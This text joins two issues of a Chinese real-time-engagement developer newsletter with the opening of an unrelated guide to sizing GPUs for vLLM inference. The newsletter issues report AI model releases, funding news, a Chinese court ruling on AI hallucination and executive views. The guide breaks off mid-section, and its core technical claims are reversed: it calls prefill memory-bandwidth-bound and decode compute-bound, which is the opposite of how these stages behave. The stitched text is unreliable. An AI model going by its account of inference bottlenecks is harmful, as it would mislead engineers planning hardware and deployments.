开发者朋友们大家好：

这里是 「RTE 开发者日报」，每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE（Real-Time Engagement） 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」，但内容仅代表编辑的个人观点，欢迎大家留言、跟帖、讨论。

本期编辑：@瓒an、@鲍勃

01 有话题的技术

1、Qwen3-ASR 正式开源：包含三款模型，支持 52 种语言与方言

Qwen 团队正式开源 Qwen3-ASR 系列，包括两个强大且全面的语音识别模型 Qwen3-ASR-1.7B 与 Qwen3-ASR-0.6B，以及一个创新的语音强制对齐模型 Qwen3-ForcedAligner-0.6B。 Qwen3-ASR 系列的语音识别模型支持 52 个语种与方言的语种识别与语音识别。

依托预训练 AuT 语音编码器与 Qwen3-Omni 基座模型的多模态能力，Qwen3-ASR 系列实现了精准且稳定的识别效果。

其中，1.7B 模型在中文、英文及歌唱识别等场景达到 SOTA，具备复杂文本识别能力及强噪声下的稳定性；0.6B 模型兼顾性能与效率，128 并发下吞吐量达 2000 倍（10 秒处理 5 小时音频）。

两款模型均单模型支持 30 个语种及 22 个中文方言，支持流式/非流式一体化推理，最长可处理 20 分钟音频。

Qwen3-ForcedAligner-0.6B 支持 11 种语言任意位置对齐，精度超越 WhisperX 等主流模型，单并发推理 RTF 仅 0.0089。目前，全套模型权重、结构及支持 vLLM 的推理框架已全部开源。

在模型效果评估方面，Qwen3-ASR 系列在中文/英文、多语种、中文方言、歌声识别及复杂场景下均表现优异：

• 英文场景：不仅在公开基准上达到最优，在覆盖 16 个国家口音的内部测试集中，整体表现优于 GPT-4o Transcribe、Gemini 系列、Doubao ASR 系列及 Whisper-large-v3。
• 多语种场景：最高支持 30 种语言，在 20 个主流语种上，1.7B 模型全面超越现有开源模型，取得最佳平均 WER。
• 中文与方言场景：在普通话、粤语及 22 种地区方言上整体领先，尤其在方言识别上，相比 Doubao-ASR 平均错误率降低了 20%（15.94 vs 19.85）。
• 复杂场景：面对老人/儿童语音、极低信噪比、鬼畜重复等挑战，仍能保持极低的字/词错误率；歌唱识别支持带 BGM 的整首歌中/英文转写。

此外，该系列在推理效率与对齐能力上也实现了突破。Qwen3-ASR-0.6B 模型在性能与效率间取得了平衡，无论离线或在线高并发场景，均能保持极低 RTF 与极高吞吐。配套推出的 Qwen3-ForcedAligner-0.6B 则支持 11 种语言的任意位置灵活对齐，其时间戳预测精度整体超过 WhisperX、NeMo-ForcedAligner 等主流方案。

目前，Qwen3-ASR 系列模型已在 Github、HuggingFace 和 ModelScope 上线，相关论文及阿里云百炼 API 也已同步发布。

Github:
https://github.com/QwenLM/Qwen3-ASR

HuggingFace:
https://huggingface.co/collections/Qwen/qwen3-asr

识别结果：

蹦出来之后，左手、右手接一个慢动作，右边再直接拉到这上面之后，直接拉到这个轮胎上，上边再接过去之后，然后上边再直接拉到这个位置了之后，右边再直接这个位置接倒过去的之后，再倒一下，然后右边再直接抓住这个上边了之后，直接从这边上边过去了之后，直接抓住这个树杈，然后这个位置直接倒到这个树杈。

识别结果：

拨号，请再说一次，请说出您要拨打的号码。幺三五八幺八八七五七。一三五八二八八八幺八八。纠正纠正。九六九。纠正纠正，不是九六。

识别结果：

Okay, Charles. It looks like we have a problem with the radio. What happened? Yeah, someone spilled water on their machine. I uh, yeah. Charles, can you hear us? Mamma mia.

（@千问 Qwen）

2、Google 推出 LiteRT 推断框架：深度集成 NPU，实现跨平台统一高性能部署

Google 正式推出继任 TensorFlow Lite 的端侧 AI 推断框架「LiteRT」。该框架完成了从经典机器学习向生成式 AI（GenAI）的架构演进，通过深度集成 NPU 加速和全新编排层，实现了跨 Android、iOS、Web 及桌面端的统一高性能部署。

• 高性能多后端加速：采用下一代 GPU 引擎 「ML Drift」，支持 OpenCL、Metal 和 WebGPU。GPU 性能较 TFLite 提升 1.4 倍，并引入异步执行与零拷贝缓冲（Zero-copy buffer）技术，端到端延迟缩减达 2 倍。
• 深度 NPU 集成方案：通过抽象层屏蔽不同 SoC 的 SDK 差异，首批支持「MediaTek」与「Qualcomm」NPU。实测 NPU 推断速度较 CPU 提升 100 倍，并提供 AOT（预编译）与 JIT（即时编译）两种部署模式以平衡启动速度与包体积。
• GenAI 专用技术栈：新增「LiteRT-LM」编排层与「LiteRT Torch Generative API」。在 Samsung Galaxy S25 Ultra 上的基准测试显示，Gemma 3 1B 的 GPU Prefill 速度较 llama.cpp 提升 19 倍，Decode 速度提升 7 倍。
• 多框架无缝转换：支持 PyTorch、JAX 和 TensorFlow 模型一键转换为 。tflite 格式。其中 LiteRT Torch 库允许 PyTorch 基于 Transformer 的架构直接映射至优化后的底层算子，无需复杂的中间件平移。
• 全新 C++ API：引入 CompiledModel API 取代传统的 Interpreter 模式，旨在优化多线程环境下的内存复用与硬件调度效率，同时保持与存量 。tflite 模型的向后兼容。

LiteRT 现已进入生产就绪状态，全面支持主流移动端与桌面端操作系统，核心代码已在 GitHub 开源。

GitHub:
https://github.com/google-ai-edge/LiteRT/issues

( @Google for Developers Blog)

3、曝阿里字节春节前后齐发旗舰模型

就在刚刚，据 The Information 援引知情人士消息称，字节和阿里均计划在二月中旬的春节假期前后发布新一代旗舰 AI 模型。

消息人士称，字节将于下月推出三款 AI 产品：新一代大语言模型 Doubao 2.0、图像生成模型 Seedream 5.0 以及视频生成模型 SeedDance 2.0。

阿里方面同样蓄势待发。据直接了解其计划的人士透露，阿里预计将在春节期间推出旗舰模型 Qwen 3.5，该模型针对复杂推理任务进行了专门优化，在数学和编码能力方面表现突出。

本月中旬，阿里官宣对千问 APP 进行重大升级，将其与电商平台、在线旅游服务以及蚂蚁集团的支付系统深度整合，力求打造一个能够协助用户完成订餐、预订旅行等实际任务的全能 AI 助手。

而据内部人士透露，阿里的目标是在 2026 年上半年将所有生态服务整合到千问 APP 中。

此外，报道还提到，阿里和字节都在进行更长远的布局，正在开发能够无缝处理文本、图像、音频、视频和代码的全能型 AI 模型。

( @APPSO)

4、数字人 Tavus 发布 tavus-skills：支持 npx 一键集成实时视频交互组件

数字人 Tavus 推出开发者工具集 tavus-skills，旨在通过标准化的技能模块供智能体调用，快速构建视频 AI 代理。该工具集集成了数字孪生训练、视频流生成及实时对话交互（CVI）能力，支持开发者通过 CLI 工具完成环境配置。

• npx 模块化分发体系：支持通过 npx skills add Tavus-Engineering/tavus-skills 实现一键集成。开发者可按需拆分安装 tavus-replica（数字孪生管理）、tavus-video-gen（脚本化视频生成）等 8 个独立模块。
• CVI 专用模型栈集成：底层原生支持 Phoenix-3 视频生成模型、Raven 视觉/音频感知模型以及 Sparrow 实时对话控制引擎，针对实时交互场景优化了响应延迟。
• WebRTC 实时交互控制：提供 tavus-cvi-interactions 模块，支持在视频流传输中执行实时文本回显（Echo）、指令打断（Interrupt）以及动态上下文注入。
• 前端工程化支持：配套发布 @tavus/cvi-ui React 组件库与 React Hooks，深度适配 Vite 与 Next.js 框架，简化了实时视频交互界面的 UI 开发。
• 持久化 RAG 与记忆模块：通过 tavus-cvi-knowledge 模块支持文档上传与知识库构建，允许视频智能体在多次对话间保持长短期记忆。

GitHub:
https://github.com/Tavus-Engineering/tavus-skills

( @GitHub)

02 有亮点的产品

1、AI-Native 用户研究平台 Trooly.AI 获王慧文、高瓴及蓝驰投资，完成近千万美元种子轮融资

据「暗涌 Waves」报道，成立仅 4 个月的 AI-Native 用户研究平台 Trooly.AI 已完成近千万美元的种子轮融资，投资方包括蓝驰创投、高瓴创投和王慧文。

与市面上常见的宏大叙事不同，Trooly.AI 专注于实现商业闭环。其核心产品面向有用户调研需求的 B 端客户，通过多模态 Voice Agent 技术，专注于 45 分钟左右的深度定性用户访谈。该平台宣称可在 10 分钟内协助用户完成研究计划的设置和发布，并在 1 天内交付完整访谈数据和专业洞察总结。

Trooly.AI 的两位创始人王震和孙皓此前均为 Zulution AI 早期成员。Zulution AI 由 TikTok 前身 Musical.ly 创始人阳陆育创办，曾推出 AIGC 角色扮演对话产品「Museland」。王震和孙皓共同经历过 AI 陪伴产品的拓荒期，但在 2025 年春，随着 AI 陪伴产品的用户交互出现边际效应递减，两人选择离开。

在探索了多种产品形态后，创始人团队意识到，在 AI 使内容生成成本趋近于零的时代，竞争壁垒在于「输入」的质量。最昂贵的资产是能为产品决策提供核心「信息增量」的真实用户故事。这一方向的确立也源于王震此前作为甲方的采购经历：传统调研耗资巨大且样本量少。团队发现，此前积累的对话技术天然适合深度定性访谈。

王震指出，相比人类访谈员带来的社交压力，受访者面对「博学且温和」的 AI 更容易敞开心扉。在 Trooly.AI 的实际案例中，AI 访谈员曾引导受访者分享隐秘且深刻的情绪。王震认为，在用户调研中，单纯的事实往往只是边角料，核心在于「用户故事」。只有通过故事感知用户与产品间的真实羁绊，才能弥合产品经理想象与现实之间的鸿沟。

针对产品效能与体验，Trooly.AI 强调以下特点：

• 效率与成本：相比传统用研流程动辄耗时一两个月，Trooly.AI 的反馈速度提升约 30 倍，成本可压至传统方式的 20%。
• 交互体验：产品界面摒弃拟人化形象，仅保留流动的声波与配色，以降低社交压力并营造宁静氛围。
• 技术逻辑：底层注入大量专家知识，Agent 能根据用户背景、情绪信号动态调整追问深度，把控交互节奏。

关于团队建设，王震和孙皓表示经历了从迷信「超级个体」到回归团队协作的转变。他们认为，尽管 AI 能大幅提升执行效率，但无法替代人类在审美、发散性创新与结构化逻辑上的互补。因此，Trooly.AI 倾向于组建由各维度单项顶尖人才构成的精简团队。

面对 AI 时代极其残酷的竞争环境，Trooly.AI 团队认为绝大多数无法形成有效服务的「玩具」类应用终将消亡，因此致力于在利基市场中确立生存优势。

联合创始人孙皓指出，Trooly.AI 的目标不仅仅是做一个工具，而是构建一套让「构建者」能够直达用户真实声音的价值链。王震表示，Trooly.AI 的使命是让消费者洞察直达产品决策者。团队希望帮助全球的产品构建者弥合想象偏差，减少资源浪费，从而在 AI 时代的「生物大爆发」中挖掘真需求，找到自然选择下的最优解。

报道链接：
https://mp.weixin.qq.com/s/E4CJQnezo0J1PuATOQ1ZHg

官网：
https://www.trooly.ai

（@暗涌 Waves）

2、曝豆包手机二代机型二季度发布

据《智能涌现》报道，字节跳动已于去年底正式启动豆包手机助手正式版项目，第二代豆包手机预计将在今年第二季度中晚期发布。

报道称，字节跳动对二代机型的市场预期显著提高，依旧延续与中兴努比亚的合作模式，由中兴负责硬件、豆包负责 AI 能力。

供应链人士称，新机在体验与权限体系上将比初代测试版更成熟。与此同时，豆包团队已与部分互联网服务提供商（打车、外卖、订票等）达成常用权限接入协议，以提升系统级 AI Agent 的可用性。

在合作策略上，豆包正与不同类型的手机厂商展开差异化谈判。对于 OPPO、vivo、荣耀等自研生态完善的大厂，合作主要集中在模型调用、输入法等模块化技术层面；

而对于传音、魅族、联想等市占率较低的厂商，则采取更激进的方案，直接在系统中内置豆包 AI 入口，并以技术授权费与 AI 服务订阅费作为商业模式。

报道还指出，豆包手机正同步推进海外布局，已与包括 vivo 在内的厂商商讨在其海外机型中搭载「豆包手机助手」，但细节仍在谈判中。

同时，字节在硬件形态上持续扩张，正在开发带显示与不带显示的两款 AI 眼镜，前者预计将在今年 Q4 发布，后者将在今年 Q1 推出。此外，字节也在研发带摄像头的 AI 耳机，试图构建多终端协同的智能硬件生态。

( @APPSO)

3、法国政府宣布 2027 年前停用 Teams 和 Zoom，全面转向自研平台 Visio

法国政府周一宣布，计划用本国自主研发的视频会议平台取代微软 Teams 和 Zoom 等美国平台，并于 2027 年前在所有政府部门全面投入使用。

此举属于法国停止使用外国（特别是美国）软件供应商并重新掌握关键数字基础设施控制权战略的一环。 目前，法国与欧洲正处于关于数字主权的关键转折点。

法国公务员与国家改革部部长 David Amiel 表示，目标是结束对非欧洲解决方案的使用，依靠强大且自主的主权工具来保证公共电子通信的安全性和机密性。

政府宣布将转而使用法国制造的视频会议平台 Visio。该平台已进行了为期一年的测试，目前拥有约 4 万名用户。

Visio 是法国「数字套件」（Suite Numérique）计划的组成部分，该计划构建了一个主权工具数字生态系统，用于替代 Gmail 和 Slack 等美国在线服务。这些工具专供公务员使用，不面向公共或私营企业。

该平台还具备由人工智能驱动的会议转录和发言人识别功能，采用了法国初创公司 Pyannote 的技术。Visio 托管在法国公司 Outscale 的主权云基础设施上，该公司是法国软件巨头达索系统（Dassault Systèmes）的子公司。

法国政府表示，切换到 Visio 能够削减许可成本，每 10 万名用户每年可节省高达 100 万欧元。

在此之前，去年发生的美国云服务中断事件引发了欧洲对过度依赖美国信息技术基础设施的质疑。Amiel 指出，这一战略突显了在地缘政治紧张局势加剧以及对外国监控或服务中断的担忧中，法国对数字主权的承诺。

（@Euronews Next ）

03 Real-Time AI Demo

1、当乐高遇上 AR 眼镜：开发者利用 Gemini 赋予积木实时声效与交互

开发者 Stijn Spanhove 与 Pavlo 在 Snap Spectacles 上构建了一个概念验证（POC），探索了继 LEGO Smart Bricks 之后，将乐高积木与 AR 眼镜相结合的交互形态。

在该演示中，系统利用 Gemini 模型视觉识别用户搭建的任何乐高作品，即时生成独一无二的音效，并支持用户直接用手进行抓取与互动。

例如，摇晃一架飞机模型时会听到引擎的轰鸣，挥舞一条龙时则伴随着咆哮声。对于每一个不同的拼搭作品，系统都能做出差异化的反应。

开发者提出了一种进一步融合的设想：将 LEGO Smart Play 积木内部的物理传感器、AR 技术以及环绕的生成式 AI 结合在一起。这种组合有望打造出一个既能从内部物理感应做出反应，又能通过眼镜在视觉上「活过来」的乐高城市。

正如开发者所言，这一切并非科幻构想，所有必要的技术组件目前均已存在，该项目展示了这些技术整合后的潜力。

( @stspanho\@X)

04 有态度的观点

1、OpenAI 董事长：Vibe Coding 不是终局，AI Agent 才是软件未来

据《商业内幕》报道，OpenAI 董事长 Bret Taylor 近日在《Big Technology Podcast》节目中表示，「Vibe Coding」将继续存在，但它并非软件行业的最终形态。

Taylor 在节目中指出，依赖自然语言快速生成应用的方式会逐渐变得寻常，而真正的变革来自 AI Agent 对软件结构的重塑。

Taylor 认为，当前围绕「如何更快用 Vibe Coding 做出一个应用」的讨论忽略了关键问题。

他表示，未来的软件形态将不再依赖传统的仪表盘、网页表单或独立应用，而是由可执行任务的 AI Agent 取代。

我们会把任务交给 Agent，它们会直接对数据库执行操作。关键在于，这些 Agent 是谁来做，你是买现成的，还是自己构建。

他同时指出，AI 虽然显著降低了软件开发成本，但并未解决维护难题，也未消除错误风险，因此大多数企业仍倾向于购买成熟方案，以将维护成本分摊给更多客户。

关于 Vibe Coding 的局限性，Google CEO Sundar Pichai 去年在《Google for Developers》播客中表示，这种方式让编码更轻松，也让非技术用户能创建简单应用。

不过，他也指出 AI 生成的代码仍可能冗长、结构不佳或存在错误。他在 Google 母公司 Alphabet 去年 4 月的财报电话会上透露，Google 超过 30% 的新代码由 AI 生成，高于 2024 年 10 月的 25%。

Anthropic 工程师 Boris Cherny 也在去年 12 月的《The Peterman Podcast》中指出，Vibe Coding 更适合原型或一次性代码，而不适用于企业核心系统。

有时候你需要可维护的代码，需要对每一行都非常谨慎。

( @APPSO)

阅读更多 Voice Agent 学习笔记：了解最懂 AI 语音的头脑都在思考什么

写在最后：

我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创，感兴趣的朋友请通过开发者社区或公众号留言联系，记得报暗号「共创」。

对于任何反馈（包括但不限于内容上、形式上）我们不胜感激、并有小惊喜回馈，例如你希望从日报中看到哪些内容；自己推荐的信源、项目、话题、活动等；或者列举几个你喜欢看、平时常看的内容渠道；内容排版或呈现形式上有哪些可以改进的地方等。

作者提示: 个人观点，仅供参考

开发者朋友们大家好：

这里是 「RTE 开发者日报」，每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE（Real-Time Engagement） 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」，但内容仅代表编辑的个人观点，欢迎大家留言、跟帖、讨论。

本期编辑：@瓒an、@鲍勃

01 有话题的技术

1、月之暗面推出最强开源 Agent 模型 Kimi K2.5

昨天，月之暗面正式面向公众推出旗舰大模型最新版本「Kimi K2.5」，在视觉、多模态理解、代码生成与智能体能力方面实现全面升级。

据介绍，Kimi K2.5 采用原生多模态架构，支持文本、图像与视频输入，能够执行图像分析、视频解析、视觉编程等任务。

官方展示内容显示，模型可根据平面图生成 3D 模型、从视频重建网页界面，并在图像推理任务中实现更高精度的路径规划与视觉调试能力。

在智能体方向，K2.5 引入全新的「Agent Swarm」并行智能体机制，可在无需预设子代理的情况下自动生成并调度多达 100 个子代理，执行最多 1500 次工具调用。

官方称，这一机制可在复杂任务中将执行效率提升至最高 4.5 倍，显著降低长链路任务的延迟。

此次更新以静默方式推送，用户在官网原有的 K2 模型已自动切换至 K2.5。同时，Kimi 官网还将此前推出的「OK Computer」模式更新为「Agent」模式，切换到此模式后可执行更多步骤的复杂任务。

Kimi.com 与 Kimi App 现已支持 K2.5 的四种模式，分别为「快速」、「思考」、「Agent」与「Agent 集群（Beta）」。

Hugging Face:
https://huggingface.co/moonshotai/Kimi-K2.5

技术文档：
https://www.kimi.com/blog/kimi-k2-5.html

( @APPSO)

2、首例「AI 幻觉」侵权案宣判：AI 承诺不具法律效力

据红星新闻报道，杭州互联网法院近日对国内首例因「AI 幻觉」引发的侵权纠纷作出一审判决，明确生成式人工智能在输出内容中作出的「承诺」不构成平台的意思表示，同时厘清了 AI 服务提供者在现阶段应承担的注意义务边界。

案件起因于去年 6 月。原告梁某在使用一款 AI 平台查询高校报考信息时，收到关于某高校主校区的错误描述。

其指出错误后，AI 不仅坚持错误信息，还生成了「如果生成内容有误，我将赔偿您 10 万元，您可前往杭州互联网法院起诉」的表述。梁某随后提供官方招生信息，AI 才承认内容不准确。

梁某认为 AI 的错误信息造成误导，且 AI 已作出赔偿承诺，遂起诉平台研发公司并索赔 9999 元。

法院审理认为，人工智能不具备民事主体资格，不能作出意思表示，其生成的「赔偿承诺」也不能视为服务提供者的意思表示。

法院从四方面说明理由：

• AI 不能作为意思表示的传达人或代理人；
• 平台并未通过 AI 设定或传达意思表示；
• 一般社会观念不足以让用户对随机生成的承诺产生合理信赖；
• 无证据显示平台愿意受 AI 生成内容约束。

关于归责原则，法院指出生成式人工智能服务属于「服务」范畴，而非产品质量法意义上的「产品」，不适用无过错责任原则，而应适用民法典第一千一百六十五条的一般过错责任原则。

法院强调，AI 输出内容通常不具备高度危险性，服务提供者对生成内容也不具备充分预见与控制能力，若采用无过错责任将不当加重企业负担，不利于产业发展。

在具体责任认定上，法院从侵权构成要件逐一审查：原告主张的损害属于纯粹经济利益受损，需从平台是否违反注意义务判断其行为是否违法。

经查，平台已在界面显著位置提示功能局限，并采用检索增强生成等技术，法院认定其已尽到合理注意义务，主观上不存在过错。

此外，原告未能提供因错误信息导致实际损害的证据。法院依据相当因果关系标准认为，AI 的不准确信息并未实质影响其报考决策，二者之间不存在因果关系。

最终，法院认定被告不构成侵权，驳回原告诉讼请求。原、被告均未上诉，判决已生效。

( @APPSO)

3、DeepSeek-OCR-2 上线，性能大幅提升

昨天，深度求索 DeepSeek 正式推出新一代文档解析模型「DeepSeek-OCR 2」，核心升级来自全新的视觉编码器架构 DeepEncoder V2。

该模型以「视觉因果流」为设计理念，通过在视觉编码阶段引入类 LLM 的因果推理机制，实现「更接近人类阅读逻辑」的图像理解能力。

在实际表现上，DeepSeek-OCR 2 在 OmniDocBench v1.5 基准测试中取得 91.09% 的整体得分，相比上一代 DeepSeek-OCR 提升 3.73%，并在阅读顺序（R-order）等关键指标上显著降低编辑距离（ED），显示其在复杂文档布局理解上的优势。

值得注意的是，该模型在保持最高 1120 个视觉 token 的前提下，仍能达到与 Gemini-3 Pro 类似的 token 预算，体现出较高的压缩效率。

DeepSeek-OCR-2 已同步在 Hugging Face 与 GitHub 开源，支持动态分辨率、多裁剪策略，并提供基于 Transformers 与 vLLM 的推理示例，覆盖从 OCR、版面解析到图像描述等多类任务。

官方强调，该架构未来有望扩展至多模态统一编码器，为图像、文本、语音等多模态输入提供共享的因果推理框架。

GitHub:
https://github.com/deepseek-ai/DeepSeek-OCR-2

Hugging Face:
https://huggingface.co/deepseek-ai/DeepSeek-OCR-2

( @APPSO)

4、开源智能体项目 Clawdbot 因 Anthropic 商标诉讼更名为 Moltbot ：GitHub Star 已突破 7 万

开发者 Peter Steinberger 发起的开源智能体项目 Clawdbot 因收到 Anthropic 律师函，指控其名称与模型 Claude 过于相似，现已正式更名为 Moltbot。该项目在 GitHub 目前获得超 7 万 Star，但在更名迁移过程中遭遇 ID 抢注及诈骗风波，同时一项极端交易实验暴露了当前 Agent 在复杂决策链中的失效风险。

• 商标侵权与更名风险：Anthropic 律师函指控 Clawdbot 在拼写与读音上构成侵权。在重命名过程中，原 X 平台 ID 在释放后 10 秒内即被加密货币诈骗者抢注并用于发布虚假代币信息。
• 智能体自主交易的失效路径：实测显示，该智能体集成了 25 种策略、12 种新算法，并能实时处理 3000 多份报告及社交平台数据。虽然具备 24/7 全天候执行力，但在赋予完整交易权限后，仍因决策逻辑无法应对极端市场波动导致账户资金归零。
• 开发资源与项目热度的极度失衡：项目 Star 数已超 7 万，但开发者表示收到的赞助资金甚至不足以购买一台 Mac Mini。目前该项目仍处于早期阶段，开发者明确警告由于缺乏安全赏金计划，暂不建议非技术人员部署。
• 高度可定制化的交互潜力：不同于主流模型的标准化接口，Moltbot 允许用户深度自定义交互逻辑。社交平台反馈显示，这种灵活性使其在辅助自闭症及 ADHD 等特定需求群体方面优于通用的 AI 产品。

已在 GitHub 开源，由开发者个人维护，维持非营利及早期实验性质。

GitHub:

https://github.com/moltbot/moltbot

（@机器之心）

02有亮点的产品

1、从「死板菜单」到「实时对话」：CareXM AI 语音助手实现临床需求秒级自动分流

「CareXM」在其非临床接听平台中推出基于 NLP 的 AI 语音智能体，旨在取代传统的 IVR 语音菜单。该系统通过实时自然语言对话识别患者意图，自动筛选并升级紧急临床需求至持证护士，在不增加行政负担的前提下提升医疗机构的响应速度。

• 对话式 AI 替代 IVR 架构：利用自然语言处理（NLP）与语音识别技术实现实时双向对话，支持在单次通话中捕获、序列化并组织多个患者请求，消除传统脚本菜单的等待延迟。
• 自动化临床升级协议：集成提供商特定的工作流逻辑，系统可自动识别具有潜在风险的临床需求，并根据预设协议实时将其转办至持证护士或协作团队。
• 辅助 AI 摘要生成：系统自动提炼通话核心细节并生成结构化摘要，为后端护理团队提供上下文背景，以降低随访摩擦并提高处理优先级准确性。
• 全天候非临床流量分流：支持工作时间内的精确路由及非工作时间的行政请求自动化处理，目前该底层方案已覆盖全美超过 10% 的 Medicare 日活跃病例。

( @Business Wire)

2、ServiceNow 深度集成 OpenAI GPT-5.2：推行原生语音智能体与计算机使用自动化

ServiceNow 与 OpenAI 签署多年期合作协议，将 GPT-5.2 等前沿模型原生集成至其工作流平台。此次合作的核心是从对话式 AI 转向行动导向的智能体，通过原生语音处理和模拟人工操作技术，解决企业环境中 API 缺失场景下的端到端自动化难题。

• 原生语音对语音智能体：放弃传统的「语音-文本-语音」中转模式，AI 直接在音频层面进行推理与响应。该架构消除了文本翻译延迟，支持多语种实时交互，并可直接触发工单创建、审批流触发等后台逻辑。
• 集成「计算机使用」模型能力：针对缺乏 API 支持的遗留系统（如大型机、旧版办公软件），利用 OpenAI 模型模拟人工点击、键入和界面导航。AI 智能体可跨邮件、聊天工具及复杂 IT 环境自主执行退款处理或账户更新。
• 首选集成 GPT-5.2 级模型：协议确立 OpenAI 前沿模型为 ServiceNow 平台的首选智能选项。通过预构建的解决方案，企业可直接在 800 亿规模的年度工作流中部署 Agentic AI，无需进行复杂的定制化开发。
• AI Control Tower 治理编排层：为企业提供集中化的审计与控制中心。该层级负责监控 AI 访问企业数据的权限，追踪 AI 触发的自动化动作，并确保所有由 AI 驱动的业务决策（如授信或注销投诉）具备合规可追溯性。

该协议为多年期合作，相关功能已进入规模化部署阶段；企业用户可通过 ServiceNow 平台获取，旨在实现从试点到生产环境的无缝切换。

( @CX Today)

3、「Consio AI」获 330 万美元融资：利用语音 AI 自动化电商进线响应与回访流程

由电商客服独角兽「Gorgias」早期员工创立的「Consio AI」完成 330 万美元融资，由 RTP Global 领投。该公司旨在通过 AI 自动化电商行业的电话沟通渠道，解决高客单价商品在传统邮件或聊天机器人场景下转化率低的问题。

• 全流程语音自动化：系统可实现进线电话的即时自动响应，并根据用户行为逻辑自动触发定时回访。
• 针对高客单价场景优化：技术架构侧重于模拟真实对话体验，旨在替代转化效果较差的文本机器人，处理决策链路较长的电商采购咨询。
• 核心团队具备垂直行业经验：联合创始人 Philippe Roireau 与 Martin Latrille 拥有「Gorgias」早期工程与业务背景，深谙电商客服流转逻辑。
• 资本与资源整合：本轮投资者除 RTP Global 外，还包括 SaaStr Fund、Mu Ventures，以及来自「Gorgias」、「Ramp」和「Datadog」的行业高管，资金将直接投向工程研发与合作伙伴生态建设。

已完成首轮融资，目前正加速工程开发并扩展市场准入。

（@RTIH）

03 有态度的观点

1、山姆 · 奥特曼：企业若不拥抱 AI，将被全 AI 公司淘汰

据腾讯科技报道，昨天上午，在旧金山的一场开发者交流中，OpenAI CEO 山姆 · 奥特曼表示，未来最具竞争力的公司可能呈现出「少量员工 + 大量 AI 助手」的组织形态。

他指出，AI 已从辅助工具演变为核心协作者，企业的生产方式、招聘逻辑与组织结构都将因此发生深刻变化。

奥特曼认为，许多公司尚未意识到 AI 已能承担大量工作，如果继续沿用传统扩张模式，将在未来竞争中处于劣势。

企业的面试方式也会随之改变，考察重点将从个人编码能力转向候选人是否能熟练使用 AI 工具，在极短时间内完成过去需要数周才能完成的任务。

企业未来可能面临两种路径：一种是由少量员工与大量 AI 协同工作，另一种则是完全由 AI 驱动的公司。

他希望前者成为主流，但也坦言，如果企业不主动拥抱 AI，将可能被更灵活的全 AI 公司淘汰。他强调，这不仅关乎企业竞争力，也关系到社会结构的稳定性。

在谈及这一趋势的背景时，奥特曼表示，AI 的能力提升速度远超多数组织的适应速度，企业需要尽早建立与 AI 协作的工作流程，并让员工掌握使用 AI 的能力。

他认为，未来的组织优势将来自「人类判断 + AI 执行」的组合，而不是单纯依赖人力扩张。

在本次活动现场，奥特曼也简要回应了其他关键议题，包括程序员职业前景、创业瓶颈、模型成本与安全风险等：

• 软件工程师不会被取代，但工作方式将转向「指挥计算机完成任务」；
• 创业门槛降低，但「找到用户」仍是最大难题；
• 模型成本预计将在明年底显著下降，但速度将成为新瓶颈；
• 生物安全是今年最值得警惕的风险领域；
• 软件将加速走向个性化，每个人都可能拥有为自己生成的工具；
• 幼儿教育应减少电子设备使用，更应培养主动性与创造力。

( @APPSO)

04 社区黑板报

招聘、项目分享、求助……任何你想和社区分享的信息，请联系我们投稿。（加微信 creators2022，备注「社区黑板报」）

1、通义百聆开发者新年交流会：语音模型从设计到使用全流程解析

阅读更多 Voice Agent 学习笔记：了解最懂 AI 语音的头脑都在思考什么

写在最后：

我们欢迎更多的小伙伴参与 「RTE 开发者日报」 内容的共创，感兴趣的朋友请通过开发者社区或公众号留言联系，记得报暗号「共创」。

对于任何反馈（包括但不限于内容上、形式上）我们不胜感激、并有小惊喜回馈，例如你希望从日报中看到哪些内容；自己推荐的信源、项目、话题、活动等；或者列举几个你喜欢看、平时常看的内容渠道；内容排版或呈现形式上有哪些可以改进的地方等。

作者提示：个人观点，仅供参考

为 vLLM 推理有效规划 GPU 规模并进行合理配置，首先需要清晰理解大语言模型处理的两个基本阶段——Prefill（预填充）和 Decode（解码），以及这两个阶段对硬件提出的不同需求。

本指南深入剖析了 vLLM 运行时行为的内部机制，阐明了内存需求、量化和张量并行等核心概念，并提供了将 GPU 选型与实际工作负载相匹配的实用策略。通过探究这些因素之间的相互作用，您将能够准确预判性能瓶颈，并在 GPU 基础设施上部署大型语言模型时，做出明智且具有成本效益的决策。

vLLM 运行时行为剖析：预填充阶段 vs 解码阶段

预填充阶段（"读取"阶段）

这是任何请求的第一步。vLLM 接收整个输入提示（用户查询 + 系统提示 + 任何 RAG 上下文），并以高度并行的方式一次性处理所有内容。

• ​过程​：模型"读取"上下文，并用该上下文的数学表示填充键值（KV）缓存。
• ​瓶颈​：由于并行处理数千个令牌，此阶段几乎总是受限于内存带宽。速度上限取决于 GPU 将巨大的权重矩阵从显存移动到计算核心的速度。有关 GPU 性能特性的更多信息，请参阅我们的 GPU 性能优化指南。
• ​实际影响​：这决定了首 Token 延迟（Time-To-First-Token）。如果要总结一个长达 10 万 Token 的庞大文档，预填充阶段就是让用户在第一个词出现前等待的原因。

解码阶段（"写入"阶段）

预填充完成后，vLLM 进入自回归循环以生成输出。

• ​过程​：模型生成一个 Token，将其附加到序列中，然后再次运行整个模型以生成下一个 Token。对于单个请求而言，这本质上是串行的。
• ​挑战​：仅为了计算单个用户的一个 Token 而从显存加载庞大的模型权重是极其低效的；GPU 在移动数据上花费的时间比计算还多。
• ​解决方案（连续批处理​​）​：为了解决这个问题，像 vLLM 这样的现代引擎不会逐个处理请求。相反，它们使用连续批处理。请求动态地进入和离开批处理批次。vLLM 在同一个 GPU 周期内，将新请求的预填充操作与进行中请求的解码步骤交错进行。
• ​瓶颈​：当有效进行批处理时，此阶段变为​计算受限​（受原始 TFLOPS 限制），因为目标是尽可能多地并行处理 Token 计算，以最大化总体吞吐量。

预填充阶段与解码阶段的对比

• ​主要瓶颈​：预填充阶段为内存带宽，解码阶段为计算能力。
• ​衡量指标​：预填充影响​首 Token 延迟​，解码影响​吞吐量​。
• ​并行性​：预填充阶段针对单个请求具有高并行性；解码阶段对单个请求是顺序的，但通过跨请求的连续批处理实现并行。
  

将阶段与工作负载及硬件关联

了解哪个阶段在您的工作负载中占主导地位，对于选择合适的硬件至关重要。

运行时的 ​KV​​ Cache

在推理过程中，vLLM 高度依赖 KV Cache，用来避免重复计算已经完成的工作。

工作机制

